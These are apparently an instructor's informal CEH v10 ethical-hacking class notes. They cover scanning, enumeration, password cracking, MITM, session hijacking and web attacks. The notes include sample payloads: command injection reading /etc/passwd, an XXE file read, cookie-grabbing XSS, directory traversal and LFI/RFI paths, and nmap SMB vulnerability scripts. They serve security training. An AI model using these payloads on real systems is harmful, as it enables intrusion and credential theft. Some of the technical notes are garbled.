Sept 7
Sept 7
CEH v10
Certified Ethical Hacker v10
Level: Beginner
Certification which teaches you about basics of various security domains.
20 Modules. 40 Hours.
Aim: Knowledge
Validity : 3Years
ECSA
Ec-Council certified Security Analyst v10
Level : Intermediate
Penetration Testing.
Aim: Skill
Validity : 3Years
LPT-Master
Licensed Penetration Tester
Level : Advance
Aim : Proficient
Validity : 2Years
CEH v10
20 Modules
Strictly No PPt's
Start Basics of Security.
More Lab
Notepad // for defination and basic understanding
MS Paint / Google Drawing, // understanding the flow
Ec-Council's Ilabs, Courseware.
My Own lab Setup.
////////
Access Code : Will be shared to you from your Co-Ordinator
Note: Your Access code will take nearly 1 week to be generated
Pre Req:
Basic understanding of Network
IP, DNS, ARP, TCP, UDP, Ports,
Book: https://ontibaanaadi.blogspot.com/p/hacking-books.html
//////
Module 1
Pillars of Security
Types Of Hackers///
5 Phases of Hacking.
Windows
Guest -> Standard User -> Admin -> NT Authority
Unix
Guest -> User -> Sudo User* -> Root
////////////////////////////////
Few Terminologies
Doxing: publishing privately identified info (usually found by hacking) into social
networks, or internet.
May attack.
////////////////////////////////////////
I-labs Limitations:
I-labs is a isolated network, which does not have a internet connectivity.
You can never take any file into the i-labs from your computer nor the vise
versa.
you could only work with the tools and scenarios present in the i-labs.
Server 2016 (Tools directory)
//////
Module - 02
Information Gathering
-> Passive IG M2
-> Active IG M3,M4,M5
Agenda 08-09-2019
Passive IG
Active IG
Exploitation
Ipaddress
Web technologies used
Physical Address info (Not MAC Address)
Technologies used internally through Job portals
Whois //https://centralops.net/co/
History of web pages
DNS info //https://centralops.net/co/
Subdomains
Hidden files, etc.
Google Dorks
GHDB Google Hacking Database
site: // restrict the search queries to a given domain
intitle: //would only show you website's title consisting of the given text.
intext: // give you all the websites which contains the given text in
there web pages
inurl: // give you all the websites which contains the given text in
there url
filetype: ,etc
Logical Ports // Non Physcial Port used to communicate with another computer.
ports used to connect your computer with other computer for a network activity
65535 Ports
Sockets => IP:Port
127.0.0.1:8080 => traffic
Protocols =>
https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers
1-1023 Well known / Reserved Ports //few ports standardized for specific
services
Ex: HTTP-80,FTP-21,SSH-22,SMTP-25,SMB-445,SNMP-161
192.168.1.1/24
/24
192.168.1.1 - 192.168.1.254
/16
192.168.1.1 - 192.168.254.254
/8
192.1.1.1 - 192.254.254.254
nmap is the well knowned and most commonly used port scanner
My Labs Setup
Windows 7 Victim
https://www.hackwithbkob.com/2017/04/your-not-alone-we-are-watching-you.html
Kali Linux Creds => User : root , Pass : toor
//
Agenda
// Practical of Port Scanning
Assignments:...?
perform port Scanning on
windows 2012,
windows 8
kali linux
ubuntu
4. Enumeration
5. Vulnerability Scanning
6. System Hacking
// Enumeration
will probe the open port to get more info about target.
445 (SMB) Server Message Block, shares, username, accuracte o.s version
161,162 (SNMP)Simple Network Management Protocol system info, programs
installed, Usernames, network info,
smbclient // this would list and help you to view publicly shared files without
authentication.
=> nmap -p 445 <target-ip> --script=smb* // will execute all smb based scripts on
target
=> nmap -p 445 <target-ip> --script=smb-enum-*
=> nmap -p 445 <target-ip> --script=smb-vuln-*
=> nbtscan -r <ip-range> // to get system's name of the entire network range
=> netdiscover
Vulnerability Scanning:/
1.RCE (Remote Code Execution)//any thing but should write code for it. 1,2,3
may look similar
2.Command Execution. //only executes command allowed by the o.s for the designated
user
3.Arbitrary Code Execution // allowed to execute few code on the target machine.
4.DOS (Denial Of Service)
5.Backdoor
6.Information disclosure (85%)
in RCE attacker will be able to execute any code on the victim machine without
authentication remotely.
vulnerability codes
Infrastructure / web
Exploitation:
Metasploit Community free / paid
Core Impact Paid
Canvas Paid
https://10.10.10.16:8834/ ilabs/
nessus creds: admin / password
/////
6.System Hacking
1. Getting Access through Cracking System's Passwords
2. Getting Access through a RCE Vulnerability (MS17-010, CVE 2017-0143)
3. Getting Access through a Malware and a bit Social Engineering
Hash is an Cryptographical Method, which translates given data into a unique text
of a specific charset and length.
1. Same hash value for a same data, irrespective of where ever the data is
calculated.
2. Hashes can never be Reversed.
Construct a table with a list of possible password and there respective hashes. and
then its fed to a tool.
//
1. Copy the hashes to your attacker machine //Admin
2. Crack it the respective hash cracker/ password cracker tool.
WINDOWS
Location: C:\windows\system32\SAM
Algorithm: NTLM
Unix:
Location: /etc/shadow
Algorithm: Sha,md5
Linux:
user1: password + 35 (password35) = flvdlxbbduf
user2: password + ab (passwordab) = cdskbdbcbvu
Appending a random character with the user's provided password and calculating the
hash is known as Password Salting random character is known as passsword salt
User's info is stored /etc/passwd //readable to all users, writeable only to root
User's Password Hash /etc/shadow // read writeable only by root
Steps:
1. Copy both Passwd and Shadow file
2. Combine both passwd and shadow in the correct order
3. Run a password cracker with suitable method to crack the password.
///////////////
Sept-22 Agenda
Creating Backdoor.
Malware
Startup Location = C:\Users\<username>AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\
Clearing Footprints
Clearing User logs and over all system's logs
//////////////////////////
Malware Threats
/////////////////
Malware Analysis
Dynamic Anaysis. run the malware in an controlled environment and then observer
the changes it makes on the computer
tools:process hackers,tcp view, wireshark,
////////////////////////////
Social Engineering. A low-tech way of Hacking
its a methodology / art of hacking someone not through computer's vulnerability but
through human vulnerabilty, through convincing people to do your stuff.
Denial Of Course
From DOS attack, attacker does not get any data of the target,
DOS is done to create a financial or reputational Loss for target company.
attacker{more } = server{less}
15mbps 10mbps
Volume Based
Protocol Based
Syn flood // by continously sending only syn request to the open port
////////////////////////////////////
Sniffing
where attacker will be able to get/find/identify what data was exchanged
between two neighbouring computers of the same network.
LAN Network Layer 2
192.168.1.10
192.168.1.
A & B
Limitations;
It is only possible on LAN
It is only possible on PLain text protocol
Passive Sniffing<HUB> // attacker is idle watchs the traffic flowing
Active Sniffing<Switch> // attackers reroutes the path between two victim through
the attacker. Also known as Man in the Middle attack, (MITM)
Promiscous Mode.
DNS
Domain name to IP address.
ARP Cache temproraily stores, mac and ip table of the devices it has
found
Not Possible
Mobile Hotspot gateway
kali linux attacker
Possible:
Mobile Hotspot gateway
kali linux attacker
windows7 victim
MITM
ARP Poisioning
IP forwarding
Limitations
only works in LAN
Can only view Plaintext Protocol
Plaintext Encrypted
HTTP HTTPS
FTP FTPS
Telnet SSH
Tools:
Ettercap // To Perform ARP Poisioning & IP Forwarding
Wireshark // To view the packets
Wireshark Cheatsheet:
https://packetlife.net/media/library/13/Wireshark_Display_Filters.pdf
//////////
Session Hijacking
HTTP (Hyper Text Transfer Protocol)
Stateless Protocol
=> Cookies -> temprorary stored medium at the client end, which is
created/assinged from the server end
Cookies :-
Rules of Secure Cookie Management:
// Cookie should be expired as soon as the user logs out
// A cookie assigned to person should not be assinged to any other
/ a cookie once used should be disposed and not reused again
// Cookie value should be Random and should not contain any information about user
and creds
Flags of Cookie:
HTTP only // cookies are transfered only via http (cannot steal cookies via xss)
Secure // cookies are transfered on https.
Proxy:
1 : Hide your identity(Anonymizer)
2 : Bypass your restriction (Torrent)
HTTPS Sniffing:
A:(VICTIM)Sender : browser(Firefox)
B:Proxy Server : Burpsuite
D:website : Server
Burpsuite:https://portswigger.net/burp/communitydownload
Convince the victim to make attacker machine as proxy and add the certificate as
trusted root Authority
Acunetix
Creds: test-test
Testing Link:http://test.vulnweb.com/login.php
Profile Page:http://test.vulnweb.com/userinfo.php
IBM
testing Link: http://testfire.net/
Creds: admin-admin
jsmith-Demo1234
Session Fixation Attack:- Attacker would assign a random / specified value to
cookie and the web app accepts
Session Replay Attack:- Attacker uses an expired cookie / cookie after logout and
the web app allows it.
Mobile-*
IOT
WIFI*
Cloud Computing
Cryptography
///////////////////////////////
/home/<username>
Privilege Escalation
Android: Rooting
IOS: Jail Breaking
Guest Emergency keypad, camera
User Almost App
Sudo Manufacturer,
Super User(root) Playstore,
2. --platform android
Create Payload
Create Listener
Send the payload to victim and convince him to install
SPF:https://bulbsecurity.com/products/smartphone-pentest-framework/
ABD Drivers
http://adbdriver.com/downloads/
///
IOT (Internet Of Things)
Its an ability to connect a particular device to internet
(Heater, Gates, Camera, Microwave oven, Bulbs, house Controlling, Alexa, Medical
Sensor, Pace Makers)
https://www.owasp.org/index.php/OWASP_Internet_of_Things_Project
///////////
Wifi (Wireless Fedility) IEEE 802.11
Wifi Access point, Wifi Router, almost similar to switch
Wifi Works:-
1. Access Point would broadcast his info to his feasible range
2. When client enters access points feasible range then he would get AP's
information
3. Client would iniate connection to the AP along with the creds in the specified
method shared in Broadcasted info
4. AP would validate the creds, and give access to client if creds are correct.
3. select one of your target, and start sniffing on the targets channel and saving
the received data into a file.
FTP
Enumeration (nmap, netcat)
FTP Password Cracking
Target: 10.10.10.16 (Server 2016)
Attacker: 10.10.10.11 (Kali Linux)
Web
What is Web.
Basics of HTTP
Enumeration(nmap,dirb,Nikto)
Password Cracking
https://en.wikipedia.org/wiki/Static_web_page
https://en.wikipedia.org/wiki/Dynamic_web_page
C:\webroot\www\ , C:\Inetpub\www\bank/main.jsp
/var/www/, /var/www/html/bank/main.jsp
Apache,ngix,IIS
http://yoursite.com/ folder1/folder2/index.php?userid=1
| Server Details |~~~ URI ~~~|
protocol | your actual website's domain | folders | file which is requested | query
parameter
Parameter operators : ?, #, %,
http request: Request made from the browser to the Web Server.
https://www.tutorialspoint.com/http/http_requests.htm
/////
http response:
{response code}
https://www.tutorialspoint.com/http/http_responses.htm
HTTP Methods // To indicate the server the type of request been made
HTTP respones code //To indicate the browser / http client the type of Response
been given
Hacking Webserver:
CMS Content Management System: wordpress, joomla, drupal, etc
CPanel.
PUT,
php,asp,java
Lab:
1. directory bruteforce / spidering.
2. Scanning website configuration.
3. online password cracking
http login
Assingment:
crack ftp password for the windows server 2016.
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-
Credentials/best110.txt
////////////////////////////
Today Agenda 6-10-2019
Command Injection
SQLi
1. Bypassing Authentication
2. Steal / dump data stored in the Database
XSS
Bypassing Auth
Index.php
Displaying all you directories and sub directories
/home/bkob/Desktop/user_files
/etc/passwd
/etc/shadow
execute()
a = b+c
d = a+x
e = d*5
execute = a=b+c;cat%20/etc/passwd;d=a+x;e=d*5;
5
display the contents of passwd file
7
35
Session Replay attack // attacker tries the previously assigned cookie/ session
id and if the application accepts and consider him as a logged in user.
% cookies/session id should only be transfereed via https only //http only secure
% Each cookies/session id should be disposed as soon as a user logs out
% cookies/session id should never be re used
% cookies/session id should be a random data, it should not contain any information
about the user
//////
Internal Directory
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///var/www/config.php" >]>
<foo>&xxe;</foo>
Paid / Free
Cookie: paid=true
Cookie: paid=false
Security Misconfiguration:
PUT, PATCH, DELETE, default admin credentials, restricting inclusion, uploading few
file types like php, jsp, asp, exe, including robots.txt.
/////////////////////////////
<html>
<head>
Headers should be present here
</head>
<body>
Body text and data should be present here
</body>
</html>
<h1>hello</h1>
alert 1 on the page <script>alert(document.URL)</script>
redirecting <script>window.location="https://google.com"</script>
get cookies <script>alert(document.cookie)</script>
no input validation
Reflected XSS/ Non Persistent XSS // code injected is temprorary, impact is only
on the given link, does not stored in db
Ex: Search box, View, any input which is echoed by server and the text is
temprorary
Stored XSS / Persistent XSS // code injected is permanent, impact is all
the users accessing the vulnerable webpage, does stored in db
Ex: messages, chat, comment, address, any input which is been stored in DB
XSS : https://xss-game.appspot.com/level1
XSS : http://leettime.net/xsslab1/
username
credit card
directory traversal, the attacke would be able to access a server's internal files
//Read the file
http://testfire.net/bank/main.jsp
/var/www/html/bank/../../../../etc/passwd
FI:
Local File Inclusion, Remote File Inclusion
ALU.php?file=../../../etc/passwd
ALU.php?file=prod.php
hosting file = Alu.php
Executing File= sum.php
Game.com/game=http://www.race.com/race.php
Game.com/game=http://EAsports.com/cricket.php
Game.com/game=http://soccer.com/football.php
Game.com/game=http://malicious.site/malware.php
///
SQL injection:
Bypassing Authentication
Sample Query:
select * from Table_name where Column1= " " && Column2= " "
uname= test
pass= test
select * from users where username= "test" && Password= "test "
true && true = true
www.travelindia.com/placestovisit=%id
id = 43'
select * from products where id = '| 43' select * |'
comment out the right side of the query
LHS| | RHS
///////////////////////////////////////////////
https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/SQLi/Generic-
SQLi.txt
<script>alert(document.cookie)</script>
<script>window.location='https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en
%29.pdf.pdf'</script>
///
<script>alert(document.cookie)</script>
security=low; PHPSESSID=2d6fa9c1c72a3f140bfa413e966fea4b
An hacker can make a client authenticate request without the knowledge of the
target.
Remedy : 2 factor, ex:otp , Dont always rely on cookie based authentication, (Anti
CSRF token)
File Inclusion
Information Disclosure if inclusion path is given
Code Execution if we could add our own file to the inclusion
LFI (Local File Inclusion) Information Disclosure
RFI (Remote File Inclusion) Code Execution
File Upload
Gaining Webshells (Gaining access on Web server through web application)
/////
Firewall, IDS/IPS, Honeypot
Bypass a firewall
1.Proxying
2.Encoding
Open Source firewall: Pfsense
/////////////
IDS (Intrusion Detection System) / IPS (Intrusion Prevention System)
Bypassing: Encoding
HoneyPots:
Ex:KF Sensor
/////////////////////////
Cloud Computing
Why Cloud ..?
Infrastructure
Cryptography.
Encryption:-
Sender:
Plain text + Algorithm = Cipher text(encrypted)
Transfer
Decryption:-
Receiver:
Cipher text(encrypted) - Algorithm = Plain text
Public Key: key which is visible to any one, Ex: Phone Number
Private Key: key is visible only to the user, Ex: Password
note: data encrypted with public key, can only be decrypted by its private key, and
vice versa
speed is less, security is more
Hybrid combines both advantage of symmetric and asymmetric, and eliminates the
dis advantages b/w them.
SSH, https, VPN
///
hash: converts the plain text data into a unique text
md5,sha256,sha512
hello
1.for a unique file/text a unique string of text is generated no matter what ever
computer, location is to used to generate the hash.
2. Hashes are always irreversible.
hashcalc
/////
Notes:
Mock Exam:
https://www.skillset.com/certifications/ceh
http://www.gocertify.com/quizzes/ceh/ceh1.html
Practice:
http://overthewire.org/wargames/
https://www.vulnhub.com/
https://www.hackthebox.eu/
https://www.root-me.org/
https://lab.pentestit.ru/
https://attackdefense.com/
Blog: www.hackwithbkob.com
Mail: [email protected]